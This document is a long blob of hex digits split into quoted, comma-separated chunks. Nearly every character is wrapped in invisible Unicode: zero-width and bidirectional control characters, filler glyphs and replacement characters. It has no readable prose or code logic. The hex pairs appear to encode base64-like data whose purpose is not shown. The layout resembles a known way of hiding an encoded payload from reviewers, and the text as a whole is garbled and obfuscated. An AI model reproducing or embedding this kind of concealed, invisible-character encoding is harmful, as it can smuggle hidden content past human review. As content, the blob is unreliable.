￱￰6⁧￴7⁤‭4￵‬ᅟ6�','��᠎4⁡‮⁩f￷⁤5⁠￶⁢5⁡‫7⁦￴‭￴3‌‌2�','�b‪ᅟ6⁣‫b឴￳4⁦⁩­7￲⁦⁠⁥3‮￿8‏⁡4','￵9‫‫឴⁣6឴‍­឴9͏⁤᠎6‍ᅟd؜‮5￸￶7￾�','��￱5￴‬‌9ᅠ￷￱3឴6￿⁢5￸‎￾4‫⁣‮7⁩�','�᠎3‬⁣‎7⁠‍2‌6‌‬f‮⁠⁥5￱￱⁣7￷￱⁢ᅟ','3‎￳0​‭3‫⁤3⁣‏6￾‬￲1ᅟ‫￴឴4⁠‬4￶⁤','3­­⁡￲4￶ᅠ￵7‎￶​5￵‎￸5⁢1­⁤⁥￿5឴�','��‍3￲￱⁤4឵⁤1‌￴͏3‏؜͏5￳⁠￵5⁠2￸�','�‎ᅟ4‭­￱￶9ᅟ­6‫￳‏឵2⁡￸⁢‌3­2‪￷7','‭3￾￵￲5￰‏5￶͏3⁤8ᅟ‎￸‍5‭￳⁣4�','�⁢‍3￸⁥‫3‭឴឴5­⁢8⁧‬‌5⁡aᅟ￵�','�￴6‪⁠3￰7￿͏1‍￰7⁩⁥4­‫6⁦឴￿7⁥�','�￰‌4⁥a￱ᅠ4⁤7​‍￳78⁡￴6⁦','‮￶⁡e⁤⁧￿5⁦￴￵7￶5⁤؜9឴￷7‫‌a​⁣7�','��￷2឵4‫￸d￵￷7‪‬1‎7￶⁥1⁦7￿�','�a⁨⁡6⁦­7‏5‫6ᅟ⁥￾￰6‪ᅟ1‫3‏⁧9�','�‬͏6‌⁨⁢b￴ᅠ6‍⁩7￾⁩​￳5‪͏￶1⁠‫‏￿7ᅟ�','�⁠2￾2￶￶b‍￱⁢‍7⁡͏⁥5￳‌‎6​⁠￾​2￾�','��‍￷5￰a￸؜￰3‭6⁠͏­⁤4⁠e‫‌⁩5­￰￰','0￾‫6ᅟ⁠⁡d‫3⁣⁩឵⁡0឴‍‏ᅟ3⁢￶￿឴2�','��­‮6￳￿￰3⁡‪4￿￵⁩1⁢ᅠ5​2⁡‫4​￲','3؜‬‍5￳￵8‌4⁢⁥7‪2‪​‏b￷⁩￷؜','3￵͏⁥⁧1⁧⁣4­￾￾​c‎￴4⁨⁦f⁨⁩⁥⁦4⁤឴឴8�','�6‍‍f⁥⁥͏￵4⁦￷1‏￱⁢‬4￴￸7￰4‮�','��5￷឵4​⁨c⁧4‭d￱ᅟ5­￾8￾‏￸2�','�­b⁥ᅟ￲7⁣‏1￳￸5͏᠎0￾5⁢⁢⁣07‪�','�6￲5⁨3￸⁢⁩5￴؜6‍3￴⁦2‌⁩‍7⁦‫؜3','᠎⁣7‬￾​6￲￾￷7￵3⁧‏￴‎5​￾⁥឵4͏','4‫￸￶36￳⁦￶￶4‭⁨᠎‪2​b‪‍5‮‎1‏','3ᅟ​‏8​⁥￵6­￾￵8­6᠎⁠⁥c⁥⁣3￳0‮￱�','�7￾⁥5⁩⁤‌឵6￷￿⁤d￾3￳‏￾4‭￲5⁣឵￷7�','�‪￱6￴d￱⁤⁣4⁠7ᅠ￳​￶6‮￵5￴⁥⁠3‭','⁢⁦⁨7឵⁡6‍⁦­￳6؜‍­⁧3￴0⁩⁤4‮￱؜c�','�⁤7‬‪‫⁤7⁣⁢7‬￱￵ᅠ6⁤⁡‎4឴‫d‏￴឴�','��5⁢͏‍6￶​5‫￷16￶឴1⁣￸؜4￾￷ᅟ4','⁨⁦7‪￳⁦3឴￱4⁦ᅠ8￿⁤‭⁤7ᅠ⁠​2⁧­឴‎3�','�⁦9͏￶￲6​8⁥4‪‬b⁦￷ᅠ3￶⁤0​￵7￸‮','⁢2ᅟ7￷‪6឵ᅟ͏5⁨￱‬⁧9￰￷‬5؜‎7ᅟ‌‭￵2�','�⁩b￰‭￿6‫ᅠ​‏1‌‌5￾5⁧⁡⁨⁩7⁣⁢a','￰￶5‍1￸3­6᠎឵￾⁠6​￴a￱ᅠ4⁣‬9�','��7‮឴8￲‮­4‬￰3⁨ᅠ￱7⁤­‪a⁦￷7⁢⁥￱‭8￱','‪4⁥‎឴￲2‍￿5‏5‫￵3⁣ᅟ8￷�','�2￷b‭ᅠ­6​￿᠎6⁦‍4឴⁣‏2￱​឴ᅠ6͏⁦4�','��ᅟ6­⁡e￷͏4￷⁣឵1­￵‏5⁧⁠a￴￷‏6‫؜','⁢‭7⁣￿6￿￸឵e‌‌7­⁤4឵⁢‌5⁧￿7឴⁢5ᅠ�','��2⁦￵⁢4‍​￾⁨9ᅠ‍ᅠ5‏9‫4ᅟ⁢2͏‎3᠎�','�3⁦￴͏7‮￲​0឵⁦￸⁣7­￰឵3­6͏f￿᠎�','��4⁧‏؜4￴7⁩឵⁦a឵￿5￿͏8⁨￿7‬2','⁢￿⁧7ᅠ‬6⁢￰⁥3￳⁤⁥7ᅠ7͏3￾￾᠎6￶�','�2￶￷￵4￲￴1￶5⁣‎￶5឵‮᠎6​f⁠6⁥�','�9⁣⁦4￿឵ᅟ7￸⁩2⁤‭⁥‏f￱￶؜7￴￳0‫⁡￿�','��61￱￶឴5￱‍ᅠ6‍￰3­⁠‪9￵￰2⁠⁥b�','�￵‏­4￴￰⁢6￳⁧4⁥‬⁡4؜᠎­6￳c‬3឵͏⁦�','��6​­6￿ᅟ7⁡￳5⁧͏4‭￲឴5⁡ᅠ8ᅟ᠎4','￵2᠎‎4￷⁤͏⁩c￴￰‪5­‍0ᅠ￾6⁣￲឵5‮ᅟ￶3�','�￴1￾‏7᠎‎⁠6‭57￵￰‌3￳6‬￱￷⁦6�','�‌‭‎7⁥‬7‬⁦5឴⁥⁧4￰‌￸dᅟ7‭؜4​‭‮4‬','‌f­5឵⁣2‎￱5‏‏4‌⁩3⁤‬⁦⁥9￴6‫￵d؜�','��⁡5⁥⁩2⁩7￶8⁦ᅠ3￸ᅟ7⁣4‭f￲‪�','��4⁨͏឴7⁤‬5￳￾0⁩‏‭5‭‭0឴5￴ᅠ⁩8�','�￷ᅟ￳6￾‌￲c￷￸឵5⁥7⁠￷7⁡￴‍0‪￲឴3','‍‫0⁥⁩￰7⁧‎￾5‬ᅠ￾⁥6⁨￵f឴͏5￷­8','​‫᠎؜2￱‬b⁡￷⁧￰4‌⁨⁥5᠎⁨͏⁧6‌￶8⁧‮6','​⁦؜f‪‍3￵‍1‎‭2￷឴￵‍b­⁥￾⁧64‎','4‏‮5⁣ᅠ￷͏7￲￴͏8‎￶឵7‫‫⁡￾8᠎￳6￱','￾؜7￶￵⁧￷4⁧c⁨ᅟ3⁡ᅟ5‌￷⁦3￰⁠2￰⁢7�','��⁡4⁣ᅟ⁡6​⁣3‌3‭‭‪8￳￲7­‭￶8‍￿឵4⁥�','�឵឵f￱3⁠ᅟ￱￵2⁡￳￵7⁩￱7ᅟ7͏ᅟ2⁡￾5','‬​‏3‭⁡6‮￳‍c⁩ᅠ⁤7‎6⁡6‬‍d�','�͏⁨3឴6⁩￸‎7‫￸￴‎9￴6⁡⁨c​឴￵6￶�','��⁨￿e⁧5‏⁩￱a￳￱‌6‎￸⁥a￿4­￶�','��f￾‌6￳d؜឵‪⁤6͏‍­1⁨‭3ᅟ⁧⁠⁥6�','�4￿8⁢⁡3￲⁥‬ᅠ2￵‎73￴￴4￲⁨c‭�','�5‭⁥⁥0‫￵‌7​᠎0‫‭￴￴2⁨⁦b￾￳￷3‭2�','�⁣7⁦‌a‭⁢3⁨4⁡‎6⁤￰⁠឴8‭￳5⁤‭⁠9�','�4­f￳឴‫4￱⁠26⁣‌￱3ᅟ⁡2᠎￲؜b�','��￸឵3￱⁤0‎‌￾3ᅠ­6‍4⁥‬2�','��͏7⁡￰2⁧￵⁨3￷￴4­4؜⁧c‍‬￵4‮￾‏7�','��￸6‎￸f￵͏4￰ᅟb⁨⁥⁢5‮​7⁧￱3­­⁥7​�','�‭4⁣ᅟd⁢⁩5឵￷0￶￿឵5ᅟ؜￱0᠎‫￱4‍�','��7￳￲‫‪4‍￴‏3￷￱⁣5‏ᅟ0‫͏͏͏3￶￵5‬￴6​�','��7￱​‭￿4᠎឵1‭឴⁣7⁣3￸⁤‪4⁤⁥6‪6�','��⁨f­￴3￴᠎‌5‭￲6⁤‌3឵￱­5‌�','�9᠎‪￿3￵5‎4͏￶⁩9￾­‫͏5⁨‬‫3‪⁩￶5�','�‍‬͏8‫⁦ᅟ6￸⁧￷6឴￿⁥4￱￲6឴￴4￶⁣3឵�','��⁢4￶‬؜e⁤‭4￲ᅠ឴c⁦⁡2‬b឵‌7​','⁠6­‌3‪­9⁠⁣឵6‌⁤⁤￲5￶⁡6￷‌e‌6�','�b⁧6⁥‍e­3‎⁦6‍⁩2￰‫b￴‍6⁧⁡','ᅟ9‎‍4⁣​⁢1؜‫3​͏⁦5￸￳‎6឴⁥d‬‌7�','�‍2⁡‫4͏￳⁥⁦a‍‌￷6‎᠎d⁣‏7‮⁢3‍�','��‮3￶￸9‌6‬￵2­￿‏5￾￵​￿7͏‫4⁧4￴‭','5￱2឴￶⁨‮5￴ᅟ￴1￾￶⁤4᠎￴​‮e᠎6‬­5‭�','��￵4￰⁣7⁢￸⁤‭6͏⁦⁦6‬​͏⁠3‮‬7‭‮￶7⁨⁧�','��￰a￷4­￴1￸3⁥‮0‪2͏￰⁤⁧b᠎￿‌3⁠','￿4​⁡7⁠￾6ᅟ7⁥⁢9‪‬ᅟ‍5ᅠ឴a⁦￰4ᅠ￳￰','43‏ᅠ‌‪8￸‬‎5⁣⁠3⁥‮6‮‎7឴6؜‪2‌6�','�c￱￴‬4͏⁧4‏឵2⁥⁦f᠎￵6​f￵‎￾⁩4','￳9‭⁡‍5‏‌2⁩7⁦5‌6᠎͏￵a‭⁦￴5‪1','‮￾7￸‬2‬⁡᠎6￴⁣1⁤‏5⁤⁧᠎1‭​឵ᅟ2�','��￶f⁦￲6‪⁣6‌⁧5‎3￰⁣‫3‎5‮￰￴6�','��‍￲f‍⁩￿6‮‎4؜77‭⁢￴⁨6￰a឴‎','7‍‫9‬4⁧⁨b͏￶3￾‌￰2⁣⁦⁠‏2­឴￶','f⁢‫‪6⁥؜ᅠ‫e‏ᅠ6‏͏⁧2‪￾ᅟ6‎⁤3‍3�','�1⁡ᅟ3‮‫￶7￿￿‎31‬᠎4‭f￳⁣ᅟ5⁤�','�￶￲1‬‮4­឵b឵­￶6឵a￱‭5‫⁥3឵‫⁡4�','��ᅠ￴8￸‍‭4d￶‮7‬￲2￵‬7᠎￶0឵�','�3￵￾⁢‬0­⁢5ᅠ8‭‍6឴c⁥‬7⁣‮0​￴7�','�⁦‌5​⁧6‏￷͏᠎1ᅠ￲؜2￲￲b￸͏2­￳⁨f￸‮￴7','⁥­͏￿2‍￶឵឵3￲⁥⁠8᠎‭⁦7​0ᅟ‮7​‌�','��0‌￸‫4￱￸e᠎‍4￴⁩f￶7￿￶9­‎‌3�','�‫6⁠⁤⁥￲58⁧￴￱5⁨⁩‌‏a⁥6￲‎d⁥‍','‏￿6￰‏‬‏8‍‮6⁠‬؜6​￸᠎4￾￶‎3⁢7�','�⁡1‎￲￳឵4‬￳d⁢￲ᅟ6⁡￸؜8￿￾6⁨‌�','�￷f឵￷‮⁣3⁦7⁢￸⁩4ᅠ⁨￲3‌⁧⁡3‮￶�','��3￳‮ᅟ‌3‬‍1￶᠎￶3‍5‎؜7￱a￶؜4￱e�','�᠎⁣6឴￴e‌￾‌6￵‌؜7‍5⁦‫​9⁣᠎‭4�','��3⁧￳3⁧￶8‭⁧4⁢￳­7͏￲￷￵7￱￳2￵￷⁡7','⁢​￵￿8⁤ᅠᅠ‬4‏1⁤⁠6⁤᠎8ᅠ⁠‪4￱￾‏5￶�','��￳￴4⁥⁨￲7‏‌5­8￶‫3‎؜6឴6‍​4','￿⁧⁠3‌￾⁧￷6￵ᅟ3‮͏5؜‮‎6￸឵4⁡￱3⁧6�','�⁦͏‎2⁡b‫‎⁧⁨6‬b⁥￱឴⁡7￷￰͏0⁢￾​','ᅟ5‬᠎⁡a­⁠‪5⁤­65￾؜ᅟa￸7⁣‏⁩‏0','￿￲3‌￾⁩￵6￵7­￵⁦឵4‪឵⁩￱4ᅠ⁧￲￷c⁣⁢','‫4‌؜￳c￷6͏￵9‮4‏￰ᅠ⁠9￱￸⁡6⁨4⁤�','�⁧45‬͏⁩5⁡⁩5⁧6￿឴⁦￶f͏￳‪⁧4￿�','�c￳؜￾3­‪3‭឴3￰⁤1￷⁦￷4‍឴‍8￾؜7‪￷6�','��͏‪3￴‫᠎᠎5឵‏ᅟ⁣7￳￷3￿ᅟ⁤4￰￾4￰4￶','e‌‮3￾᠎­5ᅟᅟ2᠎⁤b￸6￳‫a⁩￱‭⁠6­￲�','�⁥3឵￶͏⁧6‮⁦‬85￷￷2‪⁠3­‭5‭5�','��­￿4ᅟ￾3⁧឵1￶‪￸5￿￿6‭5឵‪‬�','��9⁨￴4‎￷‭4‮‭7⁧2￴￾‍6￴⁡⁣f‭᠎5�','��⁡⁠⁧a⁡3ᅟ⁦8​⁩͏7￴឴᠎5⁨⁡‎￷7⁣͏￵7‬�','��6‬ᅠ͏7‌‌4⁩⁠3⁧3￳⁥឵1￶6​­8⁧⁠‍','￴5‏￶￾3￾᠎3￲‭3⁠6ᅠ‌e‭⁠￾5⁢឴؜�','�a⁡￰3឵​4⁨­⁠6￴⁩ᅟe⁨￾⁣4￾‪3⁦⁡5⁢឵','⁠a­؜؜6￱͏1￳￷￿2￶⁠￵￸b⁦￿⁠7⁡⁥1‌6�','��⁠dᅟ￱ᅠ7឵‌￸7​‬2឴؜ᅟb⁠͏6￴￾⁡1‪⁨￴�','��5⁢1­‭3⁤￰￶⁣8￷⁤3‏͏￸￸6￰‭‪4⁠⁢a￴⁠','7⁥‮⁢8‭￷￿4⁠5‪3­⁣9￷￰7￴‮​2⁨‬4','c‎‎7؜ᅠ‫9‫￾⁩6᠎￿‬5ᅠ￰￶6‍7�','�6͏‌25ᅠ᠎￿￱9ᅠ￴­5￳؜5឴⁡￶5￷','1￵5‌⁥a￷឴4឴￰ᅠ‏3⁤⁥؜￸4⁡￿c�','�4͏‍ᅠ￱5￳⁧⁩7⁢3￱6￰‮5⁨‌￰6‮￳�','��e‏⁡3￰⁧7឴￲￱4⁥‪⁨5￰‌5‌‬a⁣6�','��ᅟ⁤⁣2­‏3￴9‬​￿3‫5⁠￵￾؜6‫�','�b‭‭5⁤￾⁨8￳7‏a឵￾⁧5​7⁩‎⁧','3‬⁧￴4⁦­­￿4‌￿￸￱6⁠⁦4￸‍‬5͏‍3­￲⁧1�','��￰6‬￲2‭￴7‫￷‏3⁦‍­‭7￱؜0⁡⁤͏4᠎3�','��￶￸6‏⁠͏5؜￸5￵‭‮4￷￰6‎‬⁩⁢d⁣‌᠎5�','��￵￾‌4￴⁥4⁨￳⁩b￱￷⁦6‪⁣e‏4⁡‌','4؜￰￶￶4ᅠ￶￸b￷‏឴2឵￷￴‌f￴‪͏6‍⁠a￰￰','7￾ᅠ⁥0‮​7￲​￱⁣1⁠឴￲4⁧⁢c⁨‮￷​43‏‪','3ᅟ​4￱⁠3ᅟ￾​3￰‫5￿ᅠ￸7⁢‪￱3‌⁩4⁩','᠎￶6⁢￸‍2⁠⁨7‍឵6⁦6‫￷4￵⁠6͏￱8�','��‪￲79‎‏4‪⁠a​‮⁠‫6￶⁧f￵6�','�￷4￶4​឴8‏⁥4￴⁠aᅟ￷￾‌5⁡2‌᠎6͏⁨','9￶￳5‎￳￶8᠎6឵ᅠ6‮­2឴⁧⁠f￰￾឵⁢5￵�','��6￿￱ᅟ7‮‬‫1⁢᠎⁡38⁧⁡͏5​a‍ᅠ‪','3⁡⁠⁨7⁥឴⁧4⁤￸‎a‪4￷￵⁤4⁨‬3‍3͏�','��5⁩‭￿4͏￳￱5￾͏⁣0؜6ᅠ￲‮1­￴᠎6᠎￸4￵­','3឵ᅠ0‫￶3‫‭‭4⁨᠎͏5​8⁡6￿￶￰�','�b­‌᠎4￴­b⁨⁢￵4￲‬8‭⁩7‍᠎1￷⁣�','�6‌؜‬d⁨⁢⁤7⁢⁣8⁩￿5￷⁧03‪⁢￾�','��8￴‬6￾￿6‫⁧‬7‬᠎￶0͏⁢￷2￳￷឴fᅠ‮','6⁧￾4‍឵​⁤5⁠ᅟ؜4឴⁩7ᅟ⁥᠎8￲￷​5​�','�a⁤⁠⁦3⁥￷⁡‌6‏‫឵2￾⁠fᅠ￷⁢￾7឴ᅠa','­￵5⁧‌5឴‌4⁤6⁣‎5￲￾￰￵9⁦6؜￿9�','�￾￷6c￱4‍͏9⁧￲‫2￿￳‏f⁨؜5ᅠ￿‬�','�1᠎‏ᅠ6￴⁨឵8￾ᅟ6￱￲9￶‌5⁣⁩2￴5­‬‮8�','�4￷￸f‎‎‏5￲⁨￳0‎​‬5￲⁦￿5؜឴5​�','��8​￵￷5⁠⁩a‎4￱￳d￿⁩⁣6￶­5⁠‍￰​6⁥�','�‫3￾5￷​3⁨3؜⁧0⁥ᅠ7؜‌7­￱⁢7឴⁩⁠0￱�','��⁤￸6឵⁨4⁦3⁢⁦4؜‬‫2￱b⁢⁤‍⁣4⁤f￾�','�￾5‏￸5￰￿‍5￱￿‏6‍ᅠ￱3⁢⁧￾6‮‪4￸‭','‌͏f‫⁢7‮￴4​‌￲3￳‏2￲឴⁨6⁡­3ᅟ￲','‭4￵‮឴‫3⁧⁢⁣6￶⁧￵4￴⁦7؜‫⁢￵3‫឵4ᅟ�','�឴f5ᅠ5⁢⁨‭4ᅟ⁣4⁧⁣3‏9឵7͏','‭8‮3͏‌‭‎9￱￷￱6‬͏b‬￱6￷⁨­3឴⁦3','￰9⁩5￶឵⁨⁨7‌6⁨‭f⁤￿3‎‎1⁦᠎⁩5','­￿8￾‪6͏⁠b⁠￱￿3￾⁩‎￶1‍‍឵5￾5‮⁢￷','⁨4￸￾a⁤￱‪⁧4￿‭ᅟ8­​5⁩￾⁩3ᅠ͏￵7￰','￵ᅟ0‫‬4‪‍3‍⁨6​⁢￲5￿￵‍5​᠎⁧᠎4ᅠ⁦3‌','6￾⁤⁧4⁡￷6⁤￶⁦6⁥￶9᠎⁧6‬​​￲a�','��‪3￵￶4￶⁤6⁢‪1⁡‪6￴9឵⁢6‏￶2؜�','�⁩⁡4￸5‬⁣6⁤⁥￰2⁦⁦￰5‏07​2‌￿‏4�','�ᅟ‮9឵⁠឵5‌￴6͏￵￳3⁦؜5￰⁡3￴឴⁠4‪￶6�','��￶2឵ᅟ7឴ᅠ⁩a⁢￱6­⁢￰3᠎￴⁢7￾⁦￶�','��5‌7‫⁦￶1￳7឵￷⁧8⁨‭￿5‭⁢￱0⁣￳�','�5￾⁡8⁧￾⁧4͏3￲឴￳3￾‍￲2￳⁣⁣6￲‪⁧5','⁧⁤5‪​2͏­￾4‮2‎؜￷5￶04￸3￱','ᅠ6‮឵⁤‬9᠎᠎3᠎⁤8⁢‪3‬6͏7‏⁩￵�','�2￿⁠3￸‍1‌‍3‍؜؜‍9‫⁢឵4⁩⁩b⁣￸￿�','�5ᅟ؜0ᅟ‪‍⁢4⁣1឴⁡⁣6￴‪9￰⁨7⁡￶a​឴','⁢6⁡‮c‪‮‬​5⁦6￾­‏6឵­᠎￷d⁩￴￵6‎‫','͏឴f‏​3ᅟ⁢2‏￵6⁨‮ᅠa⁥឴￰￰7￾4‬⁧ᅠ4�','��￵b￲​឴4​￰⁢7￷‫‎3￵￸឴￿0⁥4͏￴￸�','��6‭￷‏4￶᠎￾8￾￾59­￲￾6ᅠ⁧​d￷','‎6⁥឵‭3￰￶‌￿4‫￸a‮￴3‫‮⁣0‪￸⁧‌4⁨�','��­1⁣6￱⁦‎⁦d￾‬4­‪4￿⁡ᅠ4￵￵4⁧⁣￾�','��6￳⁧‎‏8⁩‮⁢4￳⁩⁩1⁤￴2￲⁨­f￾‪6⁥￸‍‬','3￳3‎‍7‮ᅟ5￴⁨‫‮4￾⁥⁨5⁧9￴‎7‍','⁩4￾‮￷4￵᠎￶e­឴￾7￿⁧؜4⁠5￵‏�','��6‮￲￴4⁦‮‪4​⁥7‎2‮￵5￷͏⁣⁤3⁤4‮�','�⁧‭7‌⁤6឵‍a4⁡￸⁢4￰ᅠ‭7​‬8⁠឴','឴‮4‭‬4￸⁡7‫؜￵a￳49‬⁡5‏឴3￴‫⁥4','￸⁦⁨7‍￴￴3­ᅟ឴￶4⁣‮￿⁣4឵⁦￰b͏￵3⁦�','��​឵6￷‫3⁡‌3￵‪‎7⁡6⁧⁦￱4⁣⁨4￿￸�','�￿6⁤5‎​5⁣6￰​7‌￲5⁠​‎‮7￸឴⁧a⁣�','�￵᠎3⁨​8⁡⁡￲￰3⁥ᅟ5‍3￴0⁨­7⁡⁣�','��9‭￷឵5‬⁠9￶͏3⁡⁧͏7‌￵⁩4⁩⁥‌9឵7⁤ᅟ','￶2￰2￷឵￸b؜‪‬￴7឵⁨1‪4￳‎6᠎�','�6⁤឴3​឵­3‏1‏￳­‎7⁧a‏឴⁨6‮d�','��‏‌7឵‎͏᠎0⁢‌ᅠ7￶￾2⁦⁧‎⁢3￱⁠￷4឴5','8￴͏￸5‫឴63￿‍​2ᅠ‫⁠4￾￶b￷�','�​⁢7￰￿‏￲7⁠‌3‌￶‌1᠎឵3￲⁥6￲឵‪￿2','ᅟ‏b⁢￵6⁧⁢￱￿3͏⁣6឴​7‭‬5͏⁠6￵⁩3�','�￾7￾￵7‌؜឵9￸￱­؜4⁢aᅟ7‌‍1⁩‭3឴‫￳�','�4￴⁡￷4⁦឴3￿ᅟ‌‍6‫￴឴⁩77￷᠎￱1‪⁢￿4�','�￶8￿‬5￶؜⁨4￲‪2⁦f￵7￸‭⁤9￾3⁡⁨','5‍⁣￱3‌7￲‌‎7‍‭7￴‎7ᅠ￿0ᅠ᠎7','឴3­￲4⁨⁦⁦8‍5᠎឴‮⁨5￿￲7￾￾￳0�','�ᅠ⁨4‍‍￸d឴6‫؜3￲​7￰￾1‪⁤6￳￴￱4','⁡￸4￰7​؜￱7⁢‭3­⁠឴3­‌6⁤⁢6᠎឵￸9','6￿⁡⁢￸9⁣⁠‌ᅟ4؜⁢͏8⁧7⁢9￰⁣￿6￱','￾6￾ᅠ5⁩‭￿⁦2￾؜‮4­3᠎￾6⁤⁥a⁧​­­3͏�','�‍￰1￿؜឵3‮6‏4⁨￱ᅠ1‌2᠎￵⁩￴b￸�','��6‮⁦⁡￶a឴￳7￲￾9‏￸2⁢b⁨⁤​7‮⁩a‪�','��5‫‍⁠0⁤￸‌3⁧￶6‏3￲‏￷7￾⁠3‍�','�⁢5‮⁢￳6⁡7‏឴‌7᠎឴￸5￴￿‭⁩4‫⁩‬2','⁤6‪⁤b⁩￲4؜￷6⁥⁢5‏⁧3⁢⁡‪5‮⁤�','�6￿​‍2ᅠ‭f͏‎ᅟᅟ6⁥‍e⁠‭￲6‪5￶�','��7⁡3⁩5͏‎￲37‫1￲7‎0￸⁡7⁣​�','��ᅟ8￷⁣⁤2​f⁣⁠4⁧￵‭a￾3᠎‪؜2‫឴ᅠ‭4�','�￱⁣ᅟ9‬⁨͏⁠7⁣3￵឴￲3­8ᅟᅠ‫3￾￵￸￶7�','�￱⁢4‭‪4؜͏4ᅟ95‎឴3⁨⁧2�','�⁥￳⁤b￲‎7‬￵ᅟ8​឵￱3￰￱5‬⁡⁥⁥6‏⁡�','��6‌⁢3⁤￶4ᅠ⁥‎ᅟ5‬￵a͏5឵⁩5‌ᅟ4឴￰9‪�','��￱‏4‌￶‍8឴⁩4￱‍￴b￷⁥7⁧‍‫34￷�','�3​‬56￸￳￶3⁨⁡0‫6‎‏3‬⁧￿7�','�13￱5​￳6‏6‭­‌‪6⁩⁡d⁦؜7‌⁣￸aᅠ','6￸‎⁤a⁨឵⁨3឵⁠5‌‮6‮f￶‭5￵￳6￱⁧‬2�','�￿￾b⁩￱￳5‏⁡4￴⁩7឵⁨⁣5￷⁤4⁩�','��‫⁥9⁦ᅠ͏6‮￴‎a‬ᅠ‪4⁣3‏￵3؜￿1⁨7឴','￲2￵⁤￾6‪͏￸e￵‌ᅠ5￴0ᅠ5⁠6⁤‍‪6⁨‌�','��￵d￳⁤5‪⁩‎9‮؜⁩‍7⁧‫￶2؜⁣5￱‮9⁧�','��‎ᅠ5؜⁤6‌￾6឵⁢e￰￸7￵￳13￳￾6͏','6؜￱f⁥​5ᅠ⁢6‏￲￲4⁩‍￵￷b‎‌‍4‎�','�￵‫8⁢￲͏឴7⁦؜⁧­13￷￸7͏ᅟ￿­5⁤​3؜','4￵‎7؜‭3‬￱9⁡￵6￲￾a7￵឴؜8‪⁦￲�','�6￱‪͏⁦8­‮7⁣4￸‮3᠎⁨4￳￷7⁢ᅟ⁥0‎‌5','⁦￵5᠎￳5⁨4ᅠ6￴2‎‏​4‬⁩឵1‎‏�','��3⁠￶⁧￱0￿​​4‏‮￿b⁠⁡6￵￷؜c￷⁦⁤⁢6឴','e⁥6‏឴؜b‏‎͏7؜2⁢6؜￿￰⁩2​48‌⁢','￷6ᅟ⁩￲a￸⁩⁣6‬b￴឵‮7؜‬­5‍4ᅠb�','�￴ᅟ7឵￳8͏5‫⁩‎9឴᠎6￾￶​7឴4￵￲⁡�','��d⁣3￴￷‪2‏3⁢0⁢​⁩͏6‬9⁤​3⁤3�','��⁤6ᅟ‌d‌⁠7᠎‍3​᠎ᅟ4⁩f⁣￵6￰⁥c‬�','��6‬⁠4؜‫4￶￰a⁦￵⁨­6⁡￵￴2឵‏￳4⁡�','��឴4‍⁦6‎9ᅟ⁢6͏￲6ᅠ3￸᠎‍6￲3‫￷‌7⁥�','��6឴6￸؜￲­2￳⁢￶f￾​￾6​￱d᠎‍4⁥؜9�','��‭5￴￶0­؜5￶᠎0⁦⁦ᅠ⁧6⁦‪￸7￶‮7�','��‎1￰‌‎45￳￳7⁧aᅠ⁣‬6‫9‪⁥7�','��‎1￶⁨឴7‎⁢￿؜7￿⁢4⁡⁡￵e­￰7‌￱5￸￳⁤�','��5‍឴⁦‮6￾7឴‌឴￿3឴‪‎6￿1᠎￸‫6⁣�','�b͏⁦͏឵5￰ᅟ1⁥­឵3‏￿￳8￱￿7￾⁩‬1‌￾‪​7�','�‏‭￵6ᅟᅟ5​0⁤⁨5឴0￾4￵9￶￿7￰�','�￲2‍￵4​￴9￱⁨6￸⁠f‬‮4឵￷3͏￶�','��‮4‪⁨⁧4‎￵᠎5‪‎￵1⁣7⁥￸1‮￵‪4឴�','�ᅠ‌b￷￴7￳⁦‫4‬⁢2⁦⁨⁨f￸6⁢‮8','؜ᅠ￱4​‮9‬￷‪⁡6⁢​￰⁡eᅟ͏70⁣⁡�','��￸7​‌0⁤￳‎6‬‎￿­1⁥‬​‍7឴⁦‬1ᅠ7⁣­�','��4⁣⁠7⁤⁣8‭￲4‪￸8‎￿3⁣⁡2�','�ᅟ5⁧​￱1ᅠ⁨7឴￳3ᅟ‎4‪e⁤￰ᅟ4‪￰￷d￳�','�‏6⁩‮‭dᅟ‪‪឴6‬￶e⁦47​឴؜⁥4�','��c឴‏⁣6‌15‎឵￷⁦4؜ᅟ4឵⁩ᅠe￾឴','￴4⁢5￷￳6‫￴b￸ᅟ3‏4￿ᅠ‎4‮￰‭￱3‌￿','7￶⁧‪￷1⁥￰⁡4￳឴3￷؜￿4͏￴5‮￾‫5￰￰‍','3⁦￴￳￱6­‬ᅟd￾᠎￳6￾​1⁣⁡⁣3⁤͏￸⁥1⁤‫','4‎ᅟ⁦4‫7￾￳￵1⁣⁨￰⁧6឵⁥‏f⁩⁤�','�7⁩⁤⁤5͏￿⁤‮2￶‪b⁣2￿￶b͏3￴￳4ᅠ�','��3ᅟ￳5‮‎4￰͏￵‬9؜‍‪6؜⁧5￱⁤5؜￷9￸2�','��⁥឵f￶￳4឴‍￱9￴؜6⁨​￷7⁡⁤­5؜￲‬8⁨�','�3⁦⁩‮3￾6‎ᅟ‌2￱⁥68‪‫4⁨⁡d￸3￲�','�7￿⁤⁥￳3‬‍6￲￿￲7⁢͏9‭￰4‏⁣‭9‍⁡�','��᠎7⁩￿￶⁠2￴឴‎؜4￾⁣4‌‍2￿ᅠb￲3­͏5�','��‮7￵‏‭3‬4￸‫8⁧‪3￶឴7￴⁩⁩­6‫￱6�','�￿6￶￶ᅠ7⁨￴5‮⁧1⁦6­￱2⁨⁧6⁧⁣￳e￿￴⁢','‌6￳⁧‌8⁦5⁢￱4ᅟ3͏1￾឴￾￰7￲0￾�','��6￰⁤⁦2￶6￸᠎￴￳6‫‎⁢6￿￰2‮','7͏‌‎3‌￸￶4￿‎9‫￴4￵ᅠ￴f‫឴￱​5⁣​8⁩�','�‪ᅟ7឵⁤͏2­‪￿6ᅟ8‪⁩‫⁥4ᅠ‫⁡1⁡‏3￷‍�','�⁠7￸‬5‏؜؜1￸￵⁠6឴7￱‬58￷ᅠ6‌�','��‪­8​‭6￵͏1￷￶3￴‍8‮7￵‪￿7‭឴�','��5‌‮￳1￲ᅠ2ᅟ￶b឵‍4᠎‍￳7⁧5‏ᅟa�','��‫‌4⁡⁨3ᅠ឴4⁥⁦￲8￲⁥3⁨￰⁤7ᅠ‫47�','��⁦‫6‪ᅟ￲2឴￶6⁠9￿￸￰￷2⁣￱f⁩‫⁥6�','�͏￸‌c￴‭7⁥‪3ᅠ￲2￸ᅠb‌￾6‪‪d￸‭4⁢','7ᅟ​￿5￶⁤7⁨‍5⁣￷8￱7‬⁢⁣⁦a‫͏2�','��￵f⁣￸6͏a⁢­⁨⁤4￾ᅟb‎￲6⁧ᅟ9￴7￸','឴⁡؜6￷⁧‎4⁥6⁢⁣6‏‭⁨c‫ᅟᅠ5᠎⁩‍5‫⁩�','�